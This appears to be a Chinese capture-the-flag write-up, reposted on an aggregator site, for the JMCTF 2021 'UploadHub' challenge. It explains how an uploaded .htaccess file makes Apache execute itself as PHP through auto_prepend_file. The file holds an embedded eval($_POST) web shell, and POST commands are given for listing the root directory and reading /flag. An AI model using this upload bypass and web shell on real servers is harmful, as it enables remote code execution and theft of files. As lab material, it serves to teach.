当前位置: 首页 > news >正文

[JMCTF 2021]UploadHub

题目

上传.htaccess就是修改配置文件

<FilesMatch .htaccess>
SetHandler application/x-httpd-php 
Require all granted  
php_flag engine on	
</FilesMatch>php_value auto_prepend_file .htaccess
#<?php eval($_POST['md']);?>

SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理 用法:

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

那么这里就是将.htaccess文件解析为php

Require all granted  #允许所有请求
php_flag engine on   #开启PHP的解析
php_value auto_prepend_file .htaccess 在主文件解析之前自动解析包含.htaccess的内容

 

 

md=var_dump(scandir("/"));md=var_dump(file_get_contents("/flag"));

 执行命令绕过获取flag

拿下flag

flag{07793544-65b6-4613-be56-3574d880120f} 

这样做似乎有点局限性就是隔一段时间就得重新上传.htaccess文件才能解析成功

http://www.lryc.cn/news/527469.html

相关文章:

  • C++学习——认识和与C的区别
  • 为AI聊天工具添加一个知识系统 之63 详细设计 之4:AI操作系统 之2 智能合约
  • 基于SpringBoot的网上摄影工作室开发与实现 | 含论文、任务书、选题表
  • Flutter子页面向父组件传递数据方法
  • 回顾Maven
  • 除了layui.js还有什么比较好的纯JS组件WEB UI?在谷歌浏览上显示
  • 力扣111二叉树的最小深度(DFS)
  • c++学习第十三天
  • zookeeper-3.8.3-基于ACL的访问控制
  • Java定时任务实现方案(四)——Spring Task
  • WGCLOUD运维工具从入门到精通 - 如何设置主题背景
  • Babylon.js 中的 setHardwareScalingLevel和getHardwareScalingLevel:作用与配合修改内容
  • Qwen2-VL:在任何分辨率下增强视觉语言模型对世界的感知 (大型视觉模型 核心技术 分享)
  • Docker——入门介绍
  • 02数组+字符串+滑动窗口+前缀和与差分+双指针(D2_字符串(D2_刷题练习))
  • 【redis进阶】集群 (Cluster)
  • Python案例--100到200的素数
  • C语言,无法正常释放char*的空间
  • 重回C语言之老兵重装上阵(十五)C语言错误处理
  • 基于微信的课堂助手小程序设计与实现(LW+源码+讲解)
  • Effective C++ 规则50:了解 new 和 delete 的合理替换时机
  • Alfresco Content Services dockerCompose自动化部署详尽操作
  • 学习第七十六行
  • YOLOv11改进,YOLOv11检测头融合DynamicHead,并添加小目标检测层(四头检测),适合目标检测、分割等任务
  • 一个基于Python+Appium的手机自动化项目~~
  • 【后端开发】字节跳动青训营之性能分析工具pprof
  • Linux:线程池和单例模式
  • 使用iis服务器模拟本地资源服务器unityaddressables热更新出错记录
  • TikTok广告投放优化策略:提升ROI的核心技巧
  • Hash表